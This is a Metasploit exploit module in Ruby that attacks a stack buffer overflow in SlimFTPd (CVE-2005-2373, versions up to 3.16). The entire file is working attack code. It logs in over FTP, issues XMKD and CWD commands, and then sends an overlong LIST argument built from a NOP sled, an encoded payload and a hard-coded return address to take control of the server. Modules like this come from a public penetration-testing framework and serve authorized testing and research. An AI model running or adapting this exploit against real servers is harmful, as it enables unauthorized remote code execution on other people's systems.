##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SlimFTPd LIST Concatenation Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the SlimFTPd
        server. The flaw is triggered when a LIST command is
        received with an overly-long argument. This vulnerability
        affects all versions of SlimFTPd prior to 3.16 and was
        discovered by Raphael Rigo.
      },
      'Author'         => [ 'Fairuzan Roslan <riaf[at]mysec.org>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-2373'],
          [ 'OSVDB', '18172'],
          [ 'BID', '14339'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 490,
          'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
          'StackAdjustment' => -3500,
        },
      'Platform'       => [ 'win' ],
      'Targets'        =>
        [
          [
            'SlimFTPd Server <= 3.16 Universal',
            {
              'Ret'      => 0x0040057d,
            },
          ],
        ],
      'DisclosureDate' => 'Jul 21 2005',
      'DefaultTarget' => 0))
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    buf          = make_nops(511)
    buf[10, payload.encoded.length] = payload.encoded
    buf[507, 4] = [ target.ret ].pack('V')

    send_cmd( ['XMKD', '41414141'], true );
    send_cmd( ['CWD', '41414141'], true );
    send_cmd( ['LIST', buf], false )

    handler
    disconnect
  end

end
